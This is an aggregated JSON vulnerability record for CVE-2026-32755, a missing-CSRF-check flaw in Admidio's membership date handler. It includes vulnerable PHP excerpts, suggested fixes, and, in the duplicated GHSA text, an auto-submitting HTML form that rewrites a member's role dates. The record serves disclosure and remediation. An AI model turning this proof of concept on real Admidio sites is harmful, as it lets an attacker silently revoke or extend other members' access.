{"id":"CVE-2026-32755","aliases":["EUVD-2026-13384","GHSA-h8gr-qwr6-m9gx"],"status":"published","title":"Admidio is Missing CSRF Protection on Role Membership Date Changes","description":"Admidio is an open-source user management solution. In versions 5.0.6 and below, the save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. A role leader's session can be silently exploited via CSRF to manipulate any member's membership dates, terminating access by backdating, covertly extending unauthorized access, or revoking role-restricted features, all without confirmation, notification, or administrative approval. This issue has been fixed in version 5.0.7.","severity":{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00159,"percentile":0.05091,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-352"],"published":"2026-03-16T21:17:34Z","modified":"2026-10-28T02:31:00Z","fixes":[{"ecosystem":"Packagist","package":"admidio/admidio","fixed_in":["5.0.7"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"admidio/admidio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.0.6"},{"fixed":"5.0.7"}]}]},{"source":"osv","ecosystem":"Packagist","package":"admidio/admidio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.7"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6"]}],"products":[{"vendor":"admidio","product":"admidio"}],"references":[{"url":"https://github.com/Admidio/admidio/security/advisories/GHSA-h8gr-qwr6-m9gx","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/Admidio/admidio/releases/tag/v5.0.7","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32755","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-h8gr-qwr6-m9gx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32755.json","tags":["advisory"]},{"url":"https://github.com/Admidio/admidio","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-32755","title":"Admidio is Missing CSRF Protection on Role Membership Date Changes","description":"Admidio is an open-source user management solution. In versions 5.0.6 and below, the save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. A role leader's session can be silently exploited via CSRF to manipulate any member's membership dates, terminating access by backdating, covertly extending unauthorized access, or revoking role-restricted features, all without confirmation, notification, or administrative approval. This issue has been fixed in version 5.0.7.","status":"published","published":"2026-03-19T22:53:09.081Z","modified":"2026-03-25T14:52:11.101Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:19:57.818032Z"}],"euvd":[{"id":"EUVD-2026-13384","description":"Admidio is an open-source user management solution. In versions 5.0.6 and below, the save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. A role leader's session can be silently exploited via CSRF to manipulate any member's membership dates, terminating access by backdating, covertly extending unauthorized access, or revoking role-restricted features, all without confirmation, notification, or administrative approval. This issue has been fixed in version 5.0.7.","status":"published","published":"2026-03-19T22:53:09Z","modified":"2026-03-25T14:52:11Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:29.129467Z"}],"ghsa":[{"id":"GHSA-h8gr-qwr6-m9gx","title":"Admidio is Missing CSRF Protection on Role Membership Date Changes","description":"## Summary\n\nThe `save_membership` action in `modules/profile/profile_function.php` saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks `stop_membership` and `remove_former_membership` against the CSRF token but omits `save_membership` from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.\n\n## Details\n\n### CSRF Check Is Absent for save_membership\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 40-42\n\nThe CSRF guard covers only two of the three mutative modes:\n\n```php\nif (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n}\n```\n\nThe `save_membership` mode is missing from this array. The handler then proceeds to read dates from `$_POST` and update the database without any token verification:\n\n```php\n} elseif ($getMode === 'save_membership') {\n    $postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' =\u003e true));\n    $postMembershipEnd   = admFuncVariableIsValid($_POST, 'adm_membership_end_date',   'date', array('requireValue' =\u003e true));\n\n    $member = new Membership($gDb);\n    $member-\u003ereadDataByUuid($getMemberUuid);\n    $role = new Role($gDb, (int)$member-\u003egetValue('mem_rol_id'));\n\n    // check if user has the right to edit this membership\n    if (!$role-\u003eallowedToAssignMembers($gCurrentUser)) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n    // ... validates dates ...\n    $role-\u003esetMembership($user-\u003egetValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);\n    echo 'success';\n}\n```\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 131-169\n\n### The Form Does Generate a CSRF Token (Not Validated)\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php`, lines 218-241\n\nThe membership date form is created via `FormPresenter`, which automatically injects an `adm_csrf_token` hidden field into every form. However, the server-side `save_membership` handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.\n\n### Who Can Be Exploited as the CSRF Victim\n\nFile: `D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php`, lines 98-121\n\nThe `allowedToAssignMembers()` check grants write access to:\n- Any user who is `isAdministratorRoles()` (role administrators), or\n- Any user who is a leader of the target role when the role has `rol_leader_rights` set to `ROLE_LEADER_MEMBERS_ASSIGN` or `ROLE_LEADER_MEMBERS_ASSIGN_EDIT`\n\nRole leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.\n\n### UUIDs Are Discoverable from HTML Source\n\nThe save URL for the membership date form is embedded in the profile page HTML:\n\n```\n/adm_program/modules/profile/profile_function.php?mode=save_membership\u0026user_uuid=\u003cUUID\u003e\u0026member_uuid=\u003cUUID\u003e\n```\n\nAny authenticated member who can view a profile page can extract both UUIDs from the page source.\n\n## PoC\n\nThe attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody onload=\"document.getElementById('csrf_form').submit()\"\u003e\n  \u003cform id=\"csrf_form\"\n        method=\"POST\"\n        action=\"https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership\u0026user_uuid=\u003cVICTIM_USER_UUID\u003e\u0026member_uuid=\u003cMEMBERSHIP_UUID\u003e\"\u003e\n    \u003cinput type=\"hidden\" name=\"adm_membership_start_date\" value=\"2000-01-01\"\u003e\n    \u003cinput type=\"hidden\" name=\"adm_membership_end_date\"   value=\"2000-01-02\"\u003e\n  \u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nExpected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).\n\nNote: No `adm_csrf_token` field is required because the server does not validate it for `save_membership`.\n\n## Impact\n\n- **Unauthorized membership date manipulation:** A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation.\n- **Effective access revocation:** Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.\n- **Covert escalation:** An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.\n- **No administrative approval required:** The impact occurs silently on the victim's session with no confirmation dialog or notification email.\n\n## Recommended Fix\n\n### Fix 1: Add `save_membership` to the existing CSRF validation check\n\n```php\n// File: modules/profile/profile_function.php, lines 40-42\nif (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n}\n```\n\n### Fix 2: Use the form-object validation pattern (consistent with other write endpoints)\n\n```php\n} elseif ($getMode === 'save_membership') {\n    // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)\n    $membershipForm = $gCurrentSession-\u003egetFormObject($_POST['adm_csrf_token']);\n    $formValues = $membershipForm-\u003evalidate($_POST);\n\n    $postMembershipStart = $formValues['adm_membership_start_date'];\n    $postMembershipEnd   = $formValues['adm_membership_end_date'];\n    // ... rest of save logic unchanged\n}\n```","status":"published","published":"2026-03-16T21:17:34Z","modified":"2026-03-20T21:15:41Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:39:39.567266Z"}],"nvd":[{"id":"CVE-2026-32755","description":"Admidio is an open-source user management solution. In versions 5.0.6 and below, the save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. A role leader's session can be silently exploited via CSRF to manipulate any member's membership dates, terminating access by backdating, covertly extending unauthorized access, or revoking role-restricted features, all without confirmation, notification, or administrative approval. This issue has been fixed in version 5.0.7.","status":"published","published":"2026-03-19T23:16:44.203Z","modified":"2026-06-17T10:36:19.817Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:12:10.126802Z"}],"osv":[{"id":"CVE-2026-32755","title":"Admidio is Missing CSRF Protection on Role Membership Date Changes","description":"Admidio is an open-source user management solution. In versions 5.0.6 and below, the save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. A role leader's session can be silently exploited via CSRF to manipulate any member's membership dates, terminating access by backdating, covertly extending unauthorized access, or revoking role-restricted features, all without confirmation, notification, or administrative approval. This issue has been fixed in version 5.0.7.","status":"published","published":"2026-03-19T22:53:09.081Z","modified":"2026-10-28T02:31:00.574695469Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-h8gr-qwr6-m9gx","title":"Admidio is Missing CSRF Protection on Role Membership Date Changes","description":"## Summary\n\nThe `save_membership` action in `modules/profile/profile_function.php` saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks `stop_membership` and `remove_former_membership` against the CSRF token but omits `save_membership` from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.\n\n## Details\n\n### CSRF Check Is Absent for save_membership\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 40-42\n\nThe CSRF guard covers only two of the three mutative modes:\n\n```php\nif (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n}\n```\n\nThe `save_membership` mode is missing from this array. The handler then proceeds to read dates from `$_POST` and update the database without any token verification:\n\n```php\n} elseif ($getMode === 'save_membership') {\n    $postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' =\u003e true));\n    $postMembershipEnd   = admFuncVariableIsValid($_POST, 'adm_membership_end_date',   'date', array('requireValue' =\u003e true));\n\n    $member = new Membership($gDb);\n    $member-\u003ereadDataByUuid($getMemberUuid);\n    $role = new Role($gDb, (int)$member-\u003egetValue('mem_rol_id'));\n\n    // check if user has the right to edit this membership\n    if (!$role-\u003eallowedToAssignMembers($gCurrentUser)) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n    // ... validates dates ...\n    $role-\u003esetMembership($user-\u003egetValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);\n    echo 'success';\n}\n```\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 131-169\n\n### The Form Does Generate a CSRF Token (Not Validated)\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php`, lines 218-241\n\nThe membership date form is created via `FormPresenter`, which automatically injects an `adm_csrf_token` hidden field into every form. However, the server-side `save_membership` handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.\n\n### Who Can Be Exploited as the CSRF Victim\n\nFile: `D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php`, lines 98-121\n\nThe `allowedToAssignMembers()` check grants write access to:\n- Any user who is `isAdministratorRoles()` (role administrators), or\n- Any user who is a leader of the target role when the role has `rol_leader_rights` set to `ROLE_LEADER_MEMBERS_ASSIGN` or `ROLE_LEADER_MEMBERS_ASSIGN_EDIT`\n\nRole leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.\n\n### UUIDs Are Discoverable from HTML Source\n\nThe save URL for the membership date form is embedded in the profile page HTML:\n\n```\n/adm_program/modules/profile/profile_function.php?mode=save_membership\u0026user_uuid=\u003cUUID\u003e\u0026member_uuid=\u003cUUID\u003e\n```\n\nAny authenticated member who can view a profile page can extract both UUIDs from the page source.\n\n## PoC\n\nThe attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody onload=\"document.getElementById('csrf_form').submit()\"\u003e\n  \u003cform id=\"csrf_form\"\n        method=\"POST\"\n        action=\"https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership\u0026user_uuid=\u003cVICTIM_USER_UUID\u003e\u0026member_uuid=\u003cMEMBERSHIP_UUID\u003e\"\u003e\n    \u003cinput type=\"hidden\" name=\"adm_membership_start_date\" value=\"2000-01-01\"\u003e\n    \u003cinput type=\"hidden\" name=\"adm_membership_end_date\"   value=\"2000-01-02\"\u003e\n  \u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nExpected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).\n\nNote: No `adm_csrf_token` field is required because the server does not validate it for `save_membership`.\n\n## Impact\n\n- **Unauthorized membership date manipulation:** A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation.\n- **Effective access revocation:** Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.\n- **Covert escalation:** An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.\n- **No administrative approval required:** The impact occurs silently on the victim's session with no confirmation dialog or notification email.\n\n## Recommended Fix\n\n### Fix 1: Add `save_membership` to the existing CSRF validation check\n\n```php\n// File: modules/profile/profile_function.php, lines 40-42\nif (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n}\n```\n\n### Fix 2: Use the form-object validation pattern (consistent with other write endpoints)\n\n```php\n} elseif ($getMode === 'save_membership') {\n    // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)\n    $membershipForm = $gCurrentSession-\u003egetFormObject($_POST['adm_csrf_token']);\n    $formValues = $membershipForm-\u003evalidate($_POST);\n\n    $postMembershipStart = $formValues['adm_membership_start_date'];\n    $postMembershipEnd   = $formValues['adm_membership_end_date'];\n    // ... rest of save logic unchanged\n}\n```","status":"published","published":"2026-03-16T21:17:34Z","modified":"2026-03-20T21:33:53.65767Z","cvss":[{"version":"3.1","score":5.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:46:48.920784Z"}]}}
